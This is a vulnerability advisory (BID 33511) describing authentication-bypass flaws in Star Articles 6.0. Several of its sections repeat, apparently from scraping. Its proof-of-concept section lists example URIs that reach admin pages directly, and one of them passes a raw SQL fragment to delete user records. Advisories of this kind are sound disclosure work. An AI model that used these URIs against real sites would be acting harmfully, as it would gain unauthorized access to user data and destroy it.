Star Articles Multiple Administrative Scripts Authentication Bypass Vulnerabilities
BID:33511
Info
Star Articles Multiple Administrative Scripts Authentication Bypass Vulnerabilities
| Bugtraq ID: | 33511 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jan 29 2009 12:00AM |
| Updated: | Feb 02 2009 05:09PM |
| Credit: | ByALBAYX |
| Vulnerable: |
Kalptaru Infotech Star Articles 6.0 |
| Not Vulnerable: | |
Discussion
Star Articles Multiple Administrative Scripts Authentication Bypass Vulnerabilities
Star Articles is prone to multiple authentication-bypass vulnerabilities because it fails to perform adequate authentication checks.
An attacker can exploit these issues to gain unauthorized access to the application and make arbitrary changes, including adding, modifying, or deleting user data. This may lead to further attacks.
Star Articles 6.0 is vulnerable; other versions may also be affected.
Star Articles is prone to multiple authentication-bypass vulnerabilities because it fails to perform adequate authentication checks.
An attacker can exploit these issues to gain unauthorized access to the application and make arbitrary changes, including adding, modifying, or deleting user data. This may lead to further attacks.
Star Articles 6.0 is vulnerable; other versions may also be affected.
Exploit / POC
Star Articles Multiple Administrative Scripts Authentication Bypass Vulnerabilities
An attacker can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/stararticle/user.modify.profile.php?userid=1
http://www.example.com/user.registration.php?redirect=admin.manage.users.php
http://www.example.com/admin.edit.user.php?id=1
http://www.example.com/delete.php?id=5&heading=User&sql=star_users where id &redirect=admin.manage.users.php
http://www.example.com/stararticle/admin.manage.users.php
An attacker can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/stararticle/user.modify.profile.php?userid=1
http://www.example.com/user.registration.php?redirect=admin.manage.users.php
http://www.example.com/admin.edit.user.php?id=1
http://www.example.com/delete.php?id=5&heading=User&sql=star_users where id &redirect=admin.manage.users.php
http://www.example.com/stararticle/admin.manage.users.php
Solution / Fix
Star Articles Multiple Administrative Scripts Authentication Bypass Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
Star Articles Multiple Administrative Scripts Authentication Bypass Vulnerabilities
References:
References:
- Star Articles Homepage (Kalptaru Infotech)